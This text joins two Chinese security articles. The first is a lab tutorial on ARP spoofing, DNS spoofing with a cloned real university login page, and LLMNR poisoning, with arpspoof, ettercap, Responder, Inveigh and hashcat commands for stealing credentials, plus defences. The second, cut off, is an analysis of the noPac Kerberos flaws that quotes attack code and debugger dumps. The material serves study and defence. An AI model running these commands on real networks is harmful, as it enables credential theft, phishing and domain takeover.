* 第2步：如果主机A在ARP缓存中没有找到映射，它将询问192.168.1.2的硬件地址，从而将ARP请求帧广 播到本地网络上的所有主机，源主机A的IP地址和MAC地址都包括在ARP请求中，本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配，如果主机发现请求的IP地址与自己的IP地址不匹配，它将丢弃ARP请求
* 第3步：主机B确定ARP请求中的IP地址与自己的IP地址匹配，则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中
* 第4步：主机B将包含其MAC地址的ARP回复消息直接发送回主机A
* 第5步：当主机A收到从主机B发来的ARP回复消息时，会用主机B的IP和MAC地址映射更新ARP缓存，本机缓存是有生存期的，生存期结束后，将再次重复上面的过程，主机B的MAC地址一旦确定，主机A就能向主机B发送IP通信了
##### 缓存机制
ARP缓存是一个用来储存IP地址和MAC地址的缓冲区，其本质就是一个IP地址->MAC地址的对应表，表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址，每一个以太网或令牌环网络适配器都有自己单独的表，当地址解析协议被询问一个已知IP地址节点的MAC地址时，先在ARP缓存中查看，若存在，就直接返回与之对应的MAC地址，若不存在，才发送ARP请求向局域网查询，为了使广播量最小，ARP维护IP地址到MAC地址映射的缓存以便将来使用
ARP缓存可以包含动态和静态项目，动态项目随时间推移自动添加和删除，每个动态ARP缓存项的潜在生命周期是10分钟，新加到缓存中的项目带有时间戳，如果某个项目添加后2分钟内没有再使用，则此项目过期并从ARP缓存中删除，如果某个项目已在使用，则又收到2分钟的生命周期，如果某个项目始终在使用，则会另外收到2分钟的生命周期，一直到10分钟的最长生命周期，静态项目一直保留在缓存中，直到重新启动计算机为止
#### ARP欺骗
ARP地址解析协议是建立在网络中各个主机互相信任的基础上的，它的诞生使得网络能够更加高效的运行，但其本身也存在缺陷，ARP地址转换表依赖于计算机中高速缓冲存储器动态更新的，而高速缓冲存储器的更新是受到更新周期的限制的，只保存最近使用的地址的映射关系表项，这使得攻击者有了可乘之机，可以在高速缓冲存储器更新表项之前修改地址转换表，实现攻击。
ARP请求为广播形式发送的，网络上的主机可以自主发送ARP应答消息，并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换表，这样攻击者就可以向目标主机发送伪ARP应答报文，从而篡改本地的MAC地址表，ARP欺骗可以导致目标计算机与网关通信失败，更会导致通信重定向，所有的数据都会通过攻击者的机器，攻击者再对目标和网关之间的数据进行转发，则可作为一个"中间人"，实现监听目标却又不影响目标正常上网的目的。
#### 欺骗实践
##### 基本环境
* 攻击主机：192.168.174.129 00:0c:29:39:be:eb
* 普通主机：192.168.174.170 00:0c:29:08:ad:eb
* 网关地址：192.168.174.2
##### 断网攻击
Step 1：在攻击主机上关闭端口转发
#终止
echo 0 > /proc/sys/net/ipv4/ip_forward
#允许
echo 1 > /proc/sys/net/ipv4/ip_forward
Step 2：在普通主机上查看当前ARP解析列表
Step 3：在普通主机上向百度进行ping试
ping www.baidu.com -t
可以正常访问百度：
Step 4：之后在攻击主机上通过aprspoof进行断网攻击
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
# 参数解释：
-i 指定使用的接口
-c 指定当还原arp配置时t使用的MAC地址，默认为使用原来的MAC（即当停止arpspoof命令后，默认取消毒化)
-t 指定要毒化的主机，如果不指定的话默认为局域网下所有主机
-r 双向毒化（host和target），从而双向扑捉数据（仅当同时指定 -t的时候才有效）
#执行示例：
arpspoof -i eth0 -t 192.168.174.170 192.168.174.2
Step
5：之后可以看到ping请求超时，同时浏览器无法打开www.baidu.com，同时查看ARP解析表会发现网关的MAC地址被成功欺骗后设置成了攻击者的MAC地址
Step 6：之后中断攻击(由于我们之前没有指定-c参数所以会还原原先的MAC地址)
可以看到ping恢复正常，同时页面和ARP表也恢复正常
##### 图片数据
Step 1：开启端口转发，允许本机像路由器一样转发数据信息
echo 1 > /proc/sys/net/ipv4/ip_forward
Step 2：在普通主机上查看当前ARP解析列表
Step 3：在普通主机上访问Web页面
Step 4：之后在攻击主机上通过aprspoof进行ARP欺骗攻击
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
# 参数解释：
-i 指定使用的接口
-c 指定当还原arp配置时t使用的MAC地址，默认为使用原来的MAC（即当停止arpspoof命令后，默认取消毒化)
-t 指定要毒化的主机，如果不指定的话默认为局域网下所有主机
-r 双向毒化（host和target），从而双向扑捉数据（仅当同时指定 -t的时候才有效）
#执行示例：
arpspoof -i eth0 -t 192.168.174.170 192.168.174.2
Step 5：之后driftnet 获取受害者用户访问网站时残留的图片数据信息
##### 登录凭证
Step 1：这里我们接着上面图片数据的部分展开，我们在攻击主机上使用ettercap捕获通信数据
ettercap -Tq -i eth0
Step 2：模拟一个第三方FTP服务
Step 3：用户访问第三方FTP服务并进行认证
Step 4：攻击者成功捕获到用户的账户密码信息
#### 欺骗扩展
这里我们补充几个在Windows下常用的ARP欺骗手法以及ARP欺骗工具的使用~
##### NetFuke
###### 测试环境
* 目标主机：192.168.174.170(Win 7)
* 攻击主机：192.168.174.169(Windows Server 2003)
* 网关地址：192.168.174.2
###### 欺骗流程
Step 1：在攻击主机上运行NetFuke软件并进行嗅探配置(此处的网卡必须要识别出来IP地址，否则无法进行ARP欺骗)
Step 2：配置ARP欺骗
Step 3：插件命令参数设置
Step 4：开启ARP欺骗
Step 5：当用户打开浏览器进行访问时直接进入我们订制的页面(可以附加载荷等)
#### 攻击检测
##### XArp
##### 工具简介
XArp是国外的一款热门的ARP防火墙软件，能够帮助用户建立一个专门的检测系统，使用高级技术来检测应对网络上的各类ARP攻击，例如，使用ARP欺骗，攻击者可以窃听您的所有网络流量，包含电子邮件与密码，所有这一切都完全没有被发现，XArp执行主动与被动方法来检测此类攻击。
##### 攻击检测
Step 1：开启NetFuke实施ARP欺骗攻击
Step 2：之后再XARP端可以看到报警信息以及相关记录信息
PS:个人感觉这个工具并不是那么好~
#### 防御措施
ARP欺骗的防御手法主要从以下两个方面出发：
a、阻断伪造数据包的传播：
该方法主要是从交换机或者路由器等网络设备的角度出发，以交换机为例，将交换机的端口、MAC地址、IP地址三者绑定，生成DAI(Dynamic ARP
Inspection)检测表，如果某个端口的主机发送了与它在DAI表中的条目不相符的数据包，可以选择令其断网或者丢弃其发送的数据包
b、受害者不接受伪造数据包
该方法主要是从用户的角度出发，首先不要随便接入陌生的网络是一定的，其次，用户可以在设备上安装ARP防火墙，如果是技术人员，可以选择建立静态ARP条目(适用于不会经常变动且数量较少的网络环境)，Windonwde用户使用命令"arp
-s ip"地址mac地址来进行静态绑定
### DNS攻击
#### 域名系统
DNS(Domain Name
System)，即域名解析协议，域名系统以分布式数据库的形式将域名和IP地址相互映射，简单来说，DNS是用来解析域名的，有了DNS我们就不用再记住烦人的IP地址，用相对好记的域名就可以对服务器进行访问，即使服务器更换了IP地址，我们依旧可以通过域名访问该服务器，这样能够使我们更方便的访问互联网
当我们在浏览器中输入www.baidu.com后，将经历以下查询过程：
* 客户机向本地DNS服务器查询www.baidu.com
* 本地DNS服务器检查本地数据库，由于没有baidu.com域的记录，因此它将查询信息传递到根域DNS服务器，请求解析主机名称
* 根域DNS服务器把负责解析"com"域的DNS服务器的IP地址返回给本地DNS服务器
* 本地DNS服务器将请求发送给负责"com"域的DNS服务器
* 负责"com"域的服务器根据请求将负责"baidu.com"域的DNS服务器的IP地址返回给本地DNS服务器
* 本地DNS服务器向负责"baidu.com"区域的DNS服务器发送请求，由于此服务器具有www.baidu.com的记录，因此它将www.baidu.com 的IP地址返回给本地DNS服务器
* 本地DNS服务器将www.baidu.com的IP地址发送给客户机
* 域名解析成功后，客户机将http请求发送给Web服务器
* Web服务器响应客户机的访问请求，客户机便可以访问目标主机
#### DNS欺骗
DNS在互联网中扮演着如此重要的角色，但是在设计DNS协议时，设计者没有考虑到一些安全问题，导致了DNS的安全隐患与缺陷，DNS欺骗就是利用了DNS协议设计时的一个非常严重的安全缺陷
首先，欺骗者向目标机器发送构造好的ARP应答数据包，ARP欺骗成功后，嗅探到对方发出的DNS请求数据包，分析数据包取得ID和端口号后，向目标发送自己构造好的一个DNS返回包，对方收到DNS应答包后，发现ID和端口号全部正确，即把返回数据包中的域名和对应的IP地址保存进DNS缓存表中，而后来的真实的DNS应答包返回时则会被丢弃
#### 欺骗实践
##### 测试环境
* 攻击主机：192.168.174.129
* 目标主机：192.168.174.170
##### 简易测试
Step 1：测试攻击主机的网络连通性
Step 2：之后在攻击者主机端启动Apache服务并构造一个钓鱼页面，这里简化为一个普通的HTML页面，本地测试效果如下
Step 3：查找etter.dns文件，并修改该配置文件，将www.al1ex.com指向本机IP地址
locate etter.dns
leafpad /etc/ettercap/etter.dns
Step 4：使用ettercap开始欺骗
ettercap -G
之后开启DNS欺骗
Step 5：查看效果
www.baidu.com——正常访问
www.al1ex.com——钓鱼页面
DNS欺骗记录：
##### 钓鱼模拟
Step 1：开启端口转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward
Step 2：查找etter.conf文件，并修改该配置文件
locate etter.conf
leafpad /etc/ettercap/etter.conf
修改为0
Step 3：查找etter.dns文件，并修改该配置文件
locate etter.dns
leafpad /etc/ettercap/etter.dns
增加一条DNS记录，这里的域名由我们制作的钓鱼网站域名而定：
Step 4：下面进行DNS欺骗攻击
ettercap -T -q -M arp:remote -P dns_spoof /192.168.174.170/192.168.174.2/
#说明：
受害者地址：192.168.174.170
网关的地址：192.168.174.2
Step 5：使用setoolkit克隆网站
setoolkit
http://jwbinfosys.zju.edu.cn/default2.aspx
Step 6：在本地访问克隆网站
Step 7：之后诱导用户访问网站
效果有点差强人意，不过当用户访问网站并登录时，会获取到用户的登录凭证信息(后期发现是IE的安全策略的原因)
DNS欺骗记录：
#### 防御措施
DNS欺骗是很难进行有效防御的，因为大多情况下都是被攻击之后才会发现，对于避免DNS欺骗所造成危害，这里给出以下建议：
1、因为DNS欺骗前提也需要ARP欺骗成功，所以首先做好对ARP欺骗攻击的防范
2、不要依赖于DNS，尽管这样会很不方便，可以使用hosts文件来实现相同的功能
3、使用安全检测软件定期检查系统是否遭受攻击
4.使用DNSSEC
### LLMNR攻击
#### 协议简介
自Windows
Vista起，Windows操作系统开始支持一种新的名称解析协议—LLMNR，主要用于局域网中的名称解析，LLMNR能够很好的支持IPv4和IPv6，它也是一个仅次于DNS的名称解析方式，而且在Linux操作系统中也实现了LLMNR，LLMNR协议解析名称的特点为端到端，IPv4的广播地址为224.0.0.252，IPv6的广播地址为FF02:0:0:0:0:0:1:3或FF02::1:3
#### 解析顺序
* 检查本地NetBIOS缓存，如果缓存中没有记录，则向当前子网/域发送广播进行查询
* 检查当前子网/域内主机，如果没有主机响应，则整个请求宣告以失败结束
#### 协议风险
根据LLMNR协议的解析过程可知，当用户访问一个不存在的网络的域名时，例如:Al1ex.com，那么首先会去检查本地NetBIOS缓存，由于缓存记录中没有，进而转去向当前子网/域内进行广播查询，此时如果攻击者进行恶意应答，例如：欺骗用户Al1ex.com为攻击者的服务器端IP地址，那么用户便会先攻击者提供的恶意IP地址发起请求，同时使用用户的Net-NTLM进行身份验证，此时攻击者通过LLMNR投毒的方式即可成功捕获到用户的身份信息，示意图如下：
#### 协议攻击
攻击者可以通过LLMNR协议进行投毒攻击，当用户访问某一个无法解析的域名(不存在/拼写错误)时可以使用LLMNR协议投毒的方式将攻击者主机的IP地址作为应答，之后窃取用户的Net-NTLM Hash
##### 演示环境
* 域控主机：192.168.174.2
* 域内主机：192.168.174.4
* 攻击主机：192.168.174.129
##### 攻击手法
下面我们通过两种方式来演示如何进行LLMNR/NBNS欺骗攻击~
###### Responder
Step 1：在攻击主机上执行一下命令开启Responder
./Responder.py -I eth0
Step 2：之后模拟受害者访问不存在的\Al1ex.com(可以通过钓鱼的方式或者恶意PDF等众多的方式来实现)
Step 3：之后在Responder端可以成功捕获到用户的NTLM-Hash
Step 4：之后对用户的NTLM-Hash进行爆破(NTLM V1为5500，NTLM v2为5600)
hashcat -m 5600 HTTP-NTLMv2-192.168.174.111.txt passkey.txt
###### Inveigh实现
Inveigh下载地址：<https://github.com/Kevin-Robertson/Inveigh>
Step 1：之用管理员权限打开攻击机器的powershell依次输入以下命令
. .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y
#PS:如果有执行策略限制再加一条Set-ExecutionPolicy Bypass -Scope Process
Step 2：模拟受害者用户访问不存在的UNC路径，且无需认证
Step 3：之后再攻击主机中可以看到已经成功抓取到Net-NTLM Hash
###### Inveigh-Zero
项目地址：<https://github.com/Kevin-Robertson/InveighZero>
Step 1：之用管理员权限打开攻击机器的cmd之后执行以下命令
Inveigh.exe
Step 2：模拟用户在浏览器中输入错误的UNC查询路径，且无需填写表单信息
Step :3：之后可以捕获到用户的Net-NTLM Hash
#### 防御措施
关于LLMNR Poison攻击的实战思路有很多，包括劫持FTP，MySQL，MSSQL Server等，具体的实现可自由发挥，同时为了防止遭到LLMNR
Poison攻击，可以导入下面的注册表键值关闭LLMNR，不过关闭了LLMNR以后， 可能用户的一些正常需求会受到影响~
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f | 社区文章 |
**作者：dre4merp
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 写在前面
本文更多的是根据调试Windows Server 2003，分析漏洞成因。
阅读本文需要一定的 **Kerberos基础知识** 、 **Windows源码阅读调试能力**
。单纯的阅读可能并不能完全理解其中的关键点，需要进行调试理解。
## 背景
漏洞编号为：`CVE-2021-42278` 和 `CVE-2021-42287`
CVE-2021-42278：通常情况下，机器账户应以$结尾，即`DC$`。
但是AD域并没有对其进行强校验。通过建立与域控同名却不以$结尾的机器账户，即`DC`，对域控进行欺骗。
* [MSRC CVE-2021-42278](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278)
* [KB5008102 CVE-2021-42278](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
CVE-2021-42287：利用上述漏洞进行欺骗，请求到DC的TGT后，修改自身的机器账号。之后，利用Kerberos的S4U2Self机制，请求对于“自己”（`DC`）的ST，但是由于此时机器名已经被修改而无法找到`DC`，域控将会用`DC$`的Key进行加密，并向其中添加请求的账户名的PAC。至此便得到了高权限ST。
* [MSRC CVE-2021-42287](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287)
* [KB5008102 CVE-2021-42287](https://support.microsoft.com/en-gb/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
## 环境配置
域控：Windows Server 2003 Debug版
攻击机：Windows 7 x64 SP1
武器化工具：<https://github.com/cube0x0/noPac>
## 详细分析
### Active Directory 目录树
使用SysinternalsSuite中的ADExplorer64工具查看域内的所有机器账户
从上图中可以很明确的看到域控的机器名为`WINSRVSERVER$`，之后会使用`WINSRVSERVER`作为机器账户名进行欺骗。
### 攻击准备工作
相关准备工作不是本文重点，可以在noPac项目中学习
//new machine account
NewMachineAccount(argContainer, argDistinguishedName, argDomain, argDomainController, argMachineAccount, argMachinePassword, argVerbose, argRandom, credential);
//clean spn
SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "serviceprincipalname", argMachineAccount, "", false, true, argVerbose, credential);
//set samaccountname
SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argDomainController.Split('.')[0], false, false, argVerbose, credential);
### 申请TGT
申请TGT时是根据修改后的机器账号`WINSRVSERVER`进行申请的。
域控调用`I_GetASTicket`处理`AS_REQ`消息
首先会调用`KdcNormalize`获得账户的相关信息包括`UserInfo`、`ClientTicketInfo`等
！！！请谨记这个函数，之后的漏洞利用过程会展开分析！！！
KerbErr = KdcNormalize(
ClientName,
NULL,
RequestRealm,
NULL, // no source ticket
NameFlags | KDC_NAME_CLIENT | KDC_NAME_FOLLOW_REFERRALS | KDC_NAME_CHECK_GC,
FALSE, // do not restrict user accounts (user2user)
&ClientReferral,
ClientRealm,
&ClientTicketInfo,
pExtendedError,
&UserHandle,
WhichFields,
0L,
&UserInfo,
&GroupMembership
);
通过上面获得的`ClientTicketInfo`调用`BuildTicketAS`生成TGT，堆栈如下
kd> kc
#
00 KDCSVC!BuildTicketAS
01 KDCSVC!I_GetASTicket
02 KDCSVC!KdcGetTicket
03 KDCSVC!KdcAtqIoCompletion
04 NTDSATQ!ATQ_CONTEXT::IOCompletion
05 NTDSATQ!AtqpProcessContext
06 NTDSATQ!AtqPoolThread
07 kernel32!BaseThreadStart
查看参数ClientTicketInfo和ClientName可以看到此次是以`WINSRVSERVER`的身份去申请TGT。
kd> dt ClientTicketInfo
Local var @ 0x332fa00 Type _KDC_TICKET_INFO*
0x0332fcb4
+0x000 AccountName : _UNICODE_STRING "WINSRVSERVER"
+0x008 TrustedForest : _UNICODE_STRING ""
+0x010 PasswordExpires : _LARGE_INTEGER 0x7fffffff`ffffffff
+0x018 fTicketOpts : 0x7b
+0x01c UserAccountControl : 0x80
+0x020 UserId : 0x472
+0x024 TrustType : 0
+0x028 TrustAttributes : 0
+0x02c Passwords : 0x0015eab8 _KERB_STORED_CREDENTIAL
+0x030 OldPasswords : 0x001522d0 _KERB_STORED_CREDENTIAL
+0x034 TrustSid : (null)
+0x038 PasswordVersion : 1
+0x03c LockoutThreshold : 0
kd> dt ClientName
Local var @ 0x332fa04 Type KERB_PRINCIPAL_NAME*
0x00084c44
+0x000 name_type : 0n1
+0x004 name_string : 0x000c3360 KERB_PRINCIPAL_NAME_name_string_s
kd> dx -id 0,0,89c47a68 -r1 ((KDCSVC!KERB_PRINCIPAL_NAME_name_string_s *)0xc3360)
((KDCSVC!KERB_PRINCIPAL_NAME_name_string_s *)0xc3360) : 0xc3360 [Type: KERB_PRINCIPAL_NAME_name_string_s *]
[+0x000] next : 0x0 [Type: KERB_PRINCIPAL_NAME_name_string_s *]
[+0x004] value : 0xb45d8 : "WINSRVSERVER" [Type: char *]
上述函数工作完成后，查看生成的Ticket，即`TGT`
kd> dt KERB_ENCRYPTED_TICKET 0x332fabc
KDCSVC!KERB_ENCRYPTED_TICKET
+0x000 bit_mask : 0xc0
+0x000 o : [1] "???"
+0x004 flags : tagASN1bitstring_t
+0x00c key : KERB_ENCRYPTION_KEY
+0x018 client_realm : 0x000c5098 "WINTESTYU03.COM"
+0x01c client_name : KERB_PRINCIPAL_NAME
+0x024 transited : KERB_TRANSITED_ENCODING
+0x030 authtime : tagASN1generalizedtime_t
+0x03e starttime : tagASN1generalizedtime_t
+0x04c endtime : tagASN1generalizedtime_t
+0x05a renew_until : tagASN1generalizedtime_t
+0x068 client_addresses : (null)
+0x06c authorization_data : (null)
此时还没有向其中添加PAC，会通过之前获得的`UserInfo`调用`KdcGetPacAuthData`生成所需的PAC
此时的PAC为`WINSRVSERVER`的PAC，属于正常流程
kd> dt AuthorizationData
Local var @ 0x332f9d0 Type PKERB_AUTHORIZATION_DATA_s
+0x000 next : (null)
+0x004 value : PKERB_AUTHORIZATION_DATA_Seq
kd> dx -id 0,0,89c47a68 -r1 (*((KDCSVC!PKERB_AUTHORIZATION_DATA_Seq *)0x332f9d4))
(*((KDCSVC!PKERB_AUTHORIZATION_DATA_Seq *)0x332f9d4)) [Type: PKERB_AUTHORIZATION_DATA_Seq]
[+0x000] auth_data_type : 128 [Type: long]
[+0x004] auth_data [Type: tagASN1octetstring_t]
kd> dx -id 0,0,89c47a68 -r1 (*((KDCSVC!tagASN1octetstring_t *)0x332f9d8))
(*((KDCSVC!tagASN1octetstring_t *)0x332f9d8)) [Type: tagASN1octetstring_t]
[+0x000] length : 0x260 [Type: unsigned long]
[+0x004] value : 0x16c828 : 0x4 [Type: unsigned char *]
kd> db 0x16c828 l 260
0016c828 04 00 00 00 00 00 00 00-01 00 00 00 c0 01 00 00 ................
0016c838 48 00 00 00 00 00 00 00-0a 00 00 00 22 00 00 00 H..........."...
0016c848 08 02 00 00 00 00 00 00-06 00 00 00 14 00 00 00 ................
0016c858 30 02 00 00 00 00 00 00-07 00 00 00 14 00 00 00 0...............
0016c868 48 02 00 00 00 00 00 00-01 10 08 00 cc cc cc cc H...............
0016c878 b0 01 00 00 00 00 00 00-00 00 02 00 c2 dd c3 d9 ................
0016c888 0f f7 d7 01 ff ff ff ff-ff ff ff 7f ff ff ff ff ................
0016c898 ff ff ff 7f 56 b9 d8 d7-0f f7 d7 01 56 79 42 02 ....V.......VyB.
0016c8a8 d9 f7 d7 01 ff ff ff ff-ff ff ff 7f 18 00 18 00 ................
0016c8b8 04 00 02 00 00 00 00 00-08 00 02 00 00 00 00 00 ................
0016c8c8 0c 00 02 00 00 00 00 00-10 00 02 00 00 00 00 00 ................
0016c8d8 14 00 02 00 00 00 00 00-18 00 02 00 01 00 00 00 ................
0016c8e8 72 04 00 00 03 02 00 00-01 00 00 00 1c 00 02 00 r...............
0016c8f8 20 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ...............
0016c908 00 00 00 00 18 00 1a 00-20 00 02 00 16 00 18 00 ........ .......
0016c918 24 00 02 00 28 00 02 00-00 00 00 00 00 00 00 00 $...(...........
0016c928 80 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0016c938 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0016c948 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0016c958 00 00 00 00 0c 00 00 00-00 00 00 00 0c 00 00 00 ................
0016c968 57 00 49 00 4e 00 53 00-52 00 56 00 53 00 45 00 W.I.N.S.R.V.S.E.
0016c978 52 00 56 00 45 00 52 00-00 00 00 00 00 00 00 00 R.V.E.R.........
0016c988 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0016c998 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0016c9a8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0016c9b8 00 00 00 00 01 00 00 00-03 02 00 00 07 00 00 00 ................
0016c9c8 0d 00 00 00 00 00 00 00-0c 00 00 00 57 00 49 00 ............W.I.
0016c9d8 4e 00 53 00 52 00 56 00-53 00 45 00 52 00 56 00 N.S.R.V.S.E.R.V.
0016c9e8 45 00 52 00 0c 00 00 00-00 00 00 00 0b 00 00 00 E.R.............
0016c9f8 52 00 45 00 4e 00 50 00-45 00 4e 00 47 00 59 00 W.I.N.T.E.S.T.Y.
0016ca08 55 00 30 00 33 00 00 00-04 00 00 00 01 04 00 00 U.0.3...........
0016ca18 00 00 00 05 15 00 00 00-db ac e2 f8 a5 b2 f3 d1 ................
0016ca28 a1 c4 3e 10 00 00 00 00-00 b4 a3 e5 0f f7 d7 01 ..>.............
0016ca38 18 00 57 00 49 00 4e 00-53 00 52 00 56 00 53 00 ..W.I.N.S.R.V.S.
0016ca48 45 00 52 00 56 00 45 00-52 00 00 00 00 00 00 00 E.R.V.E.R.......
0016ca58 76 ff ff ff c1 fc e6 ad-46 30 3f 05 5e ed 74 c0 v.......F0?.^.t.
0016ca68 20 7d c9 54 00 00 00 00-76 ff ff ff 42 e1 22 e3 }.T....v...B.".
0016ca78 3b 44 cd ee b7 d7 50 5f-2d f9 44 ab 00 00 00 00 ;D....P_-.D.....
之后便是将PAC放入TGT中，将其打包并使用`krbtgt`密钥进行加密，通过`AS_REP`消息传递回Client
关键代码如下，不再展开分析
KerbErr = BuildReply(
&ClientTicketInfo,
(Nonce != 0) ? Nonce : RequestBody->nonce,
&Ticket.server_name,
Ticket.realm,
((RequestBody->bit_mask & addresses_present) != 0) ? RequestBody->addresses : NULL,
&Ticket,
&ReplyBody
);
...
KerbErr = KerbPackTicket(
&Ticket,
ServerKey,
ServiceTicketInfo.PasswordVersion,
&Reply.ticket
);
...
KerbErr = KerbPackKdcReplyBody(
&ReplyBody,
(EncryptionKey.keyvalue.value != NULL) ? &EncryptionKey : ClientKey,
(EncryptionKey.keyvalue.value != NULL) ? KERB_NO_KEY_VERSION : ClientTicketInfo.PasswordVersion,
KERB_TGS_REP_SALT,
KERB_ENCRYPTED_AS_REPLY_PDU,
&Reply.encrypted_part
);
### 还原机器账户名
还原机器账户名的目的是使得域控处理`TGS_REQ`请求的时候，找不到账户从而是用自己的Key加密
//undo samaccountname change
SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argMachineAccount, false, false, argVerbose, credential);
### 申请ST
Client向域控申请`WINSRVSERVER`的服务票据，域控在`HandleTGSRequest`函数中处理`TGS_REQ`请求。
首先通过`KerbFindPreAuthDataEntry`获取`TGS_REQ`中包含的`ApRequest`
ApRequest = KerbFindPreAuthDataEntry(
KRB5_PADATA_TGS_REQ,
RequestMessage->KERB_KDC_REQUEST_preauth_data
);
之后便是解析获得的`APRequest`获得解密后的`TGT`
//验证请求。这包括对AP请求进行解码，找到合适的密钥来解密票据，并检查票据。
KerbErr = KdcVerifyKdcRequest(
ApRequest->preauth_data.value,
ApRequest->preauth_data.length,
ClientAddress,
TRUE, // this is a kdc request
&UnmarshalledApRequest,
&UnmarshalledAuthenticator,
&SourceEncryptPart,
&ReplyKey,
&SourceTicketKey,
&ServerTicketInfo,
&UseSubKey,
pExtendedError
);
KdcVerifyKdcRequest做了以下几件事情
* KdcVerifyKdcRequest
* 解包ApRequest ---- KerbUnpackApRequest
* 根据其中的服务名（kbrtgt）获取服务的相关信息 ---- KdcNormalize
* 通过相关信息找到服务的Hash ---- KerbGetKeyFromList
* 解密TGT --- KerbCheckTicket
* 获得解密后的TGT --- KerbVerifyTicket
* 用TGT中的Key（key为Client与KDC通信所需要的LogonSessionKey）解密获得Authenticator --- KerbUnpackAuthenticator
* ……（校验检查之类的）
查看这个函数的结果，获得了传过来的明文`TGT`和`krbtgt`的相关服务信息
kd> dt ServerTicketInfo
Local var @ 0x327fc48 Type _KDC_TICKET_INFO
+0x000 AccountName : _UNICODE_STRING "krbtgt"
+0x008 TrustedForest : _UNICODE_STRING ""
+0x010 PasswordExpires : _LARGE_INTEGER 0x7fffffff`ffffffff
+0x018 fTicketOpts : 0x7b
+0x01c UserAccountControl : 0x11
+0x020 UserId : 0x1f6
+0x024 TrustType : 0
+0x028 TrustAttributes : 0
+0x02c Passwords : 0x00084bf0 _KERB_STORED_CREDENTIAL
+0x030 OldPasswords : 0x000c4010 _KERB_STORED_CREDENTIAL
+0x034 TrustSid : (null)
+0x038 PasswordVersion : 2
+0x03c LockoutThreshold : 0
kd> dt SourceEncryptPart
Local var @ 0x327fdd0 Type KERB_ENCRYPTED_TICKET*
0x000fcf90
+0x000 bit_mask : 0xd0
+0x000 o : [1] "???"
+0x004 flags : tagASN1bitstring_t
+0x00c key : KERB_ENCRYPTION_KEY
+0x018 client_realm : 0x00106a18 "WINTESTYU03.COM"
+0x01c client_name : KERB_PRINCIPAL_NAME
+0x024 transited : KERB_TRANSITED_ENCODING
+0x030 authtime : tagASN1generalizedtime_t
+0x03e starttime : tagASN1generalizedtime_t
+0x04c endtime : tagASN1generalizedtime_t
+0x05a renew_until : tagASN1generalizedtime_t
+0x068 client_addresses : (null)
+0x06c authorization_data : 0x000c3370 PKERB_AUTHORIZATION_DATA_s
kd> db authorization_data l 276
0017f168 30 82 02 72 30 82 02 6e-a0 04 02 02 00 80 a1 82 0..r0..n........
0017f178 02 64 04 82 02 60 04 00-00 00 00 00 00 00 01 00 .d...`..........
0017f188 00 00 c0 01 00 00 48 00-00 00 00 00 00 00 0a 00 ......H.........
0017f198 00 00 22 00 00 00 08 02-00 00 00 00 00 00 06 00 ..".............
0017f1a8 00 00 14 00 00 00 30 02-00 00 00 00 00 00 07 00 ......0.........
0017f1b8 00 00 14 00 00 00 48 02-00 00 00 00 00 00 01 10 ......H.........
0017f1c8 08 00 cc cc cc cc b0 01-00 00 00 00 00 00 00 00 ................
0017f1d8 02 00 02 4e 81 c8 1c f7-d7 01 ff ff ff ff ff ff ...N............
0017f1e8 ff 7f ff ff ff ff ff ff-ff 7f 56 b9 d8 d7 0f f7 ..........V.....
0017f1f8 d7 01 56 79 42 02 d9 f7-d7 01 ff ff ff ff ff ff ..VyB...........
0017f208 ff 7f 18 00 18 00 04 00-02 00 00 00 00 00 08 00 ................
0017f218 02 00 00 00 00 00 0c 00-02 00 00 00 00 00 10 00 ................
0017f228 02 00 00 00 00 00 14 00-02 00 00 00 00 00 18 00 ................
0017f238 02 00 08 00 00 00 72 04-00 00 03 02 00 00 01 00 ......r.........
0017f248 00 00 1c 00 02 00 20 00-00 00 00 00 00 00 00 00 ...... .........
0017f258 00 00 00 00 00 00 00 00-00 00 18 00 1a 00 20 00 .............. .
0017f268 02 00 16 00 18 00 24 00-02 00 28 00 02 00 00 00 ......$...(.....
0017f278 00 00 00 00 00 00 80 00-00 00 00 00 00 00 00 00 ................
0017f288 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0017f298 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0017f2a8 00 00 00 00 00 00 00 00-00 00 0c 00 00 00 00 00 ................
0017f2b8 00 00 0c 00 00 00 57 00-49 00 4e 00 53 00 52 00 ......W.I.N.S.R.
0017f2c8 56 00 53 00 45 00 52 00-56 00 45 00 52 00 00 00 V.S.E.R.V.E.R...
0017f2d8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0017f2e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0017f2f8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
